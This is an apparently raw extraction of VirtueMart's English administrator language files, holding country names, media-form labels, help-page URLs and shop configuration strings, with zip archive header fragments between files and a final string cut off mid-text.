COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PKtl>\.K$$Pcom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart.menu.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PKtl>\V?Qcom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PKtl>\vSrPcom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" PKtl>\/ERcom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
      If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
      If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
      " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
      " COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
